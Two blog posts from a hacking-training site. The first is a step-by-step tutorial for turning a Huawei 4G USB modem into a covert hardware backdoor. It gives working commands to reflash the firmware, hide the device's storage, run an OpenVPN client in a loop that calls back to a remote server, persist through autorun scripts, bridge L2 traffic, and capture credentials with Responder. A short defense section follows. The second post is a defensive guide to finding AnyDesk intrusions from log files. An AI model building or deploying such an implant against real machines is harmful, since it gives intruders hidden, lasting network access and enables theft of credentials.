Welcome back, aspiring cyberwarriors!

Previously, we had a few articles showing what crafty hackers can do to attack your system with a USB drive. Today we’ll cover yet another approach they might take, turning a USB modem into a persistence mechanism. As always, we’ll discuss practical ways to protect yourself from it.

When hackers have physical access to a potential victim’s computer, they aren’t limited to one-time actions. With just a few minutes, they can establish a persistent communication channel that continues to function long after they’ve walked away. This can be achieved using a regular USB modem that’s been slightly modified in advance.

Modern 4G USB modems, especially those based on the HiLink architecture, are more powerful than they appear. Although they look like slightly oversized flash drives, they’re small computers running a full operating system. Many of these devices run embedded Linux environments, sometimes alongside other systems such as VxWorks for handling GSM communication. These modems are autonomous. They’re powered directly through USB, they boot within seconds, and they present themselves to the host computer as a network interface.

A popular example is the Huawei E3372h-153. It has strong community support, accepts modified firmware, and includes everything needed to build an independent communication channel. When you connect this thing, it behaves like a virtual Ethernet adapter. To the OS it looks like just another network card. But inside that modem you have a full system capable of running scripts, managing connections, and interacting with the host machine. The computer believes it’s simply using a network interface, while the modem itself can communicate with external infrastructure over the mobile network. Unlike traditional implants, this one doesn’t depend on the victim’s internal network at all.

There are commercially available tools designed for similar purposes (LAN Turtle), but they typically rely on existing network connectivity. They don’t have an independent 4G communication channel.

Implementation

From an engineering perspective, the device is already almost perfect. It draws power directly from USB and uses its own 4G connection, so it will communicate even in isolated environments. 

To unlock its potential, we will need to modify the firmware. After reflashing, the internal operating system will automatically establish a VPN connection to a remote control server using the mobile network.

The first step is gaining access to the modem’s internal system. You can do it using Telnet or ADB:

kali > telnet 192.168.8.1
kali > adb connect 192.168.8.1:5555

Then we need to enable debugging features to configure things:

modem > curl http://192.168.8.1/html/switchDebugMode.html
modem > minicom -D /dev/ttyUSB0

With debug mode enabled, the firmware can be replaced:

modem > at^godload # Enter firmware mode. The modem will reboot
modem > sudo ./balong_flash -p /dev/ttyUSB0 E3372h-153_Update_22.200.15.00.
00_M_AT_05.10_nv.exe

After rebooting, the modem usually presents itself as multiple devices, including a virtual CD-ROM and storage. These features are unnecessary and may reveal the device’s presence, so they should be disabled:

modem > AT^NVWREX=50091,0,60,1 0 0 0 FF 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 A3
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 # Disable CD-ROM mode on startup, enable RNDIS/CDC
AT^RESET # Reboot

Next comes a subtle but important adjustment. The DHCP configuration is modified so the modem does not present itself as a gateway. This helps avoid interfering with the host system’s routing behavior and keeps the device less noticeable:

modem > cat <<EE > /data/config
Interface br0
MinLease 30
Vendorid c0012
Address main
EnbSrv 1
Start 192.168.8.100
End 192.168.8.200
Option lease 86400
Option subnet 255.255.255.0
Address main end
EE

The config file will look like this: 

To establish remote control, an OpenVPN client is installed directly on the modem. Precompiled binaries are here.

Here is how:

modem > adb push tun.ko /online/ovpn/
modem > adb push openvpn /online/ovpn/
modem > adb push vds.ovpn /online/ovpn/
modem > cat <<EE > /data/vpn.sh
#!/system/bin/busybox sh
while :; do /online/ovpn/openvpn --config /online/ovpn/vds.ovpn
--route-noexec; done
EE
modem > chmod 700 /data/vpn.sh

modem > busybox passwd

modem > reboot

The VPN runs in a continuous loop, so even if the connection drops, it won’t be a problem. Finally, autorun scripts and routing rules are configured so that traffic flows correctly between the 4G network and the target machine:

modem > mount -o remount,rw /dev/block/mtdblock16

modem > cat <<EE >> /system/etc/autorun.sh
/data/autorun.sh &
EE

modem > cat <<EE > /data/autorun.sh
#!/system/bin/busybox sh
killall dhcps.real
cp /data/config /var/dhcp/dhcps/config
dhcps.real &
sleep 5
insmod /online/ovpn/tun.ko
/data/vpn.sh &
iptables -t nat -A POSTROUTING -o br0 -s 172.16.0.0/24 -j MASQUERADE
iptables -I INPUT 1 -i br0 -p tcp --dport 80 -j DROP
iptables -I FORWARD 2 -i br0 -o wan0 -j DROP
EE

modem > chmod 700 /data/autorun.sh

The autorun script should look like this:

At this point, the modem has become a self-contained communication bridge.

Persistence

When deployed, the hardware backdoor does not look impressive. That is its strength. It resembles a slightly larger USB flash drive.

Because the device uses a mobile network, it does not rely on the internal infrastructure of the organization. Even if the local network has no internet access, the modem maintains a stable connection to the outside world.

Hackers can connect to the same VPN server from another device, linking themselves to the compromised machine. The modem forwards traffic in a reverse direction being a gateway into the target system.

L2 Access

This method of persistence provides network access only to the machine the modem is connected to. To make attacking the target system easier, it may be necessary to establish an L2VPN tunnel that is closer to the target. This requires creating another VPN tunnel inside the existing one. If the first VPN is used solely for communication with the device lan_turtle, the second one provides the maximum possible network access to the computer through the USB-emulated network. 

To achieve this, we need to run a few commands inside the USB modem. These commands will create a VPN tunnel and place the newly created virtual interface into a network bridge together with the USB interface. Inside the modem run these commands:

modem > ./openvpn --config l2.ovpn --route-noexec
modem > brctl addif br0 tap1
modem > ifconfig tap1 0

Here is an example of the l2.ovpn file:

The L2VPN interface will have an IP address, which is not actually needed since OpenVPN is already running. It can be reset, after which the interface can simply be added to the bridge. As a result, L2 packets from the compromised machine will flow into the VPN interface. This means the hacker doesn’t just gain logical network access to the target PC, but they will see it as if they were directly plugged into it with a regular Ethernet cable.

On the hacker’s side, it is only necessary to connect to the modem and establish a VPN tunnel, then manually assign it an IP address from the subnet of the victim computer’s network adapter:

kali > sudo openvpn --config lan_turtle.ovpn --route-noexec
kali > sudo ifconfig tap0 192.168.8.200/24

The configuration file for connecting to lan_turtle to establish an L2VPN tunnel is lan_turtle.ovpn and it looks like this:

With this setup, the hacker gains direct access to the internal network. Responder can then be used to capture auth data:

kali > responder -I tap0 -d -w -F

Defense

Although the technique is technically sophisticated, you only need physical USB access. Because of that, defensive strategies are simple.

Organizations should treat USB ports as sensitive interfaces. Restricting unknown devices, disabling USB-based network adapters through system policies, and regularly inspecting machines can help you reduce risk. Just as importantly, physical access must be controlled. Even the most advanced software defenses cannot protect a system if someone is allowed to plug in their own hardware.

Summary

The Huawei E3372h-153 and similar devices can be used for persistence, using their own mobile data connection to maintain remote access independent of the victim’s network. Modified modems can automatically set up VPN tunnels and persistently reconnect, which creates a backdoor into the system even after they leave.

If you like red teaming, we have our Red Team Operator training, where we cover more tools and techniques to help you emulate real APT work, so you can give a company a realistic stress test and help make it secure.

The post Social Engineering: Modem-Based Persistence in a Compromised Environment first appeared on Hackers Arise.

Welcome back, digital investigators!

AnyDesk was first introduced around 2014, and it very quickly became a popular RMM tool. It’s lightweight and easy to deploy. Those same qualities also made it attractive to hackers and APTs. Over the last several years, it’s become one of the preferred tools for maintaining persistent access to compromised systems.

Given that many admins use it legitimately, it’s common to find on corporate machines. All the hacker needs to do is gain access to the endpoint, change the AnyDesk password or configure a new access profile. This persistence often goes unnoticed for weeks or months. During that time the hacker can come and go as they please. Many organizations don’t monitor RMM logs at all, even when they have a mature SOC in place. We’ve seen companies with large infrastructures and centralized logging completely ignore AnyDesk connections. That gives hackers time to get ready for a ransomware attack.

We also see hackers modifying registry settings so the accessibility button at the Windows login screen opens a CMD prompt with the highest privileges. We showed this in our “PowerShell for Hackers – Basics” article. 

If you want to see how widespread this abuse is, look at recent reports on Russia.

Kaspersky has documented incidents where AnyDesk was used by hacktivists and ransomware groups during their operations. In the ICS-CERT reporting for Q4 2024, for example, Crypt Ghouls relied on Mimikatz, PingCastle, Resocks, AnyDesk, and PsExec. In Q3 2024, BlackJack used AnyDesk, Radmin, PuTTY and tunneling with ngrok for persistence across Russian government, telecom and ICS. And that’s just a glimpse of it.

With that in mind, we want to show you how to investigate a computer that was compromised through AnyDesk.

Log Files

Today we’ll focus on log files that can help you determine whether there’s been unauthorized access. These logs can show the hacker’s AnyDesk ID, their display name, their OS and IP address. The logs can also show whether there were attempts to upload files or exfiltrate them.

During incident response this insight is already valuable. On top of that, collecting these logs and ingesting them into your SIEM can help you generate alerts on night-time access.

Here are the log files and full paths that you will need for this analysis:

C:\Users\%username%\AppData\Roaming\AnyDesk\ad.trace
C:\Users\%username%\AppData\Roaming\AnyDesk\connection_trace.txt
C:\ProgramData\AnyDesk\ad_svc.trace
C:\ProgramData\AnyDesk\connection_trace.txt

AnyDesk can be used in two distinct ways. The first is as a portable executable. In that case, the user runs the program directly without installing it. When used this way, the logs are stored under the user’s AppData directory. The second way is to install AnyDesk as a service. When AnyDesk runs as a service, ProgramData will contain trace files. The AppData folder will still hold the ad.trace file. Together these files form the basis for your investigation.

Connection Log Timestamps

The connection_trace.txt logs are readable and give you a record of successful AnyDesk connections. Here is an example with a randomized AnyDesk ID:

Incoming 2025-07-25, 12:10 User 568936153 568936153

The real AnyDesk ID has been redacted. The log shows there was a successful inbound connection on 2025-07-25 at 12:10 UTC from the AnyDesk ID. This only confirms that remote access happened, but we can dig deeper using the other logs.

Finding Information About the Hacker

Now we can try to understand who the hacker might be. Although names, IDs and OS can be changed by the attacker at any time, patterns still exist. Most don’t constantly change their display name unless they are extremely paranoid. Even then, the timestamps do not lie. Remote logins occurring repeatedly in the middle of the night are a strong indicator of unauthorized access.

We will work primarily with the ad.trace and ad_svc.trace files. These logs are noisy, so it’s better to search for specific keywords:

PS > get-content .\ad.trace | select-string -list 'Remote OS', 'Incoming session', 'app.prepare_task', 'anynet.relay', 'anynet.any_socket', 'files', 'text offers' | tee adtrace.log

PS > get-content .\ad_svc.trace | select-string -list 'Remote OS', 'Incoming session', 'app.prepare_task', 'anynet.relay', 'anynet.any_socket', 'files', 'text offers' | tee adsvc.log

We filtered out only the most interesting lines and saved them into adtrace.log and adsvc.log

IP Address

In many cases, the ad_svc.trace log contains the external IP address from which the hacker connected. “Logged in from” has the IP next to it, while “Accepting from” has the AnyDesk ID. These values were redacted.

Once you have the IP, you can block it and remove the app from the host if it’s not necessary. Many of these unauthorized connections originate from VPN servers, of course. 

Name & OS Information

Inside ad.trace you will find the hacker’s display name after “Incoming session request”. Right next to that field you will see their AnyDesk ID. You may also see references to the hacker’s operating system.

Here the connection came from a Linux machine and they’d set their display name to “IT Dep” in an attempt to look legitimate.

Data Exfiltration

AnyDesk also supports file transfer both ways. Hackers can upload malware or exfiltrate sensitive company data directly through the session. In the ad.trace logs you will sometimes see references such as “Preparing files in …” which indicate file operations were taking place.

This line alone does not always tell you what exact files were transferred, especially if the hacker worked out of temporary directories. However, correlating those timestamps with Windows forensic artifacts can show exactly what the hacker copied.

In our case, files stored in the Documents folder were exfiltrated.

Summary

Given how widespread AnyDesk is, you should always treat its logs as high priority artifacts. AnyDesk is one RMM tool, and there are plenty more out there being actively abused for persistence. Make sure their logs are consistently collected and ingested into your SIEM so you can spot suspicious activity outside business hours.

If you’re interested in digital forensics, we recommend our training for both beginners and those looking to advance their forensic skills.

Our team also provides digital forensics services. If you need any support during an investigation, we’re always happy to help. Contact us at hackers-arise@protonmail.com

The post Digital Forensics: AnyDesk – Favorite Tool of APTs first appeared on Hackers Arise.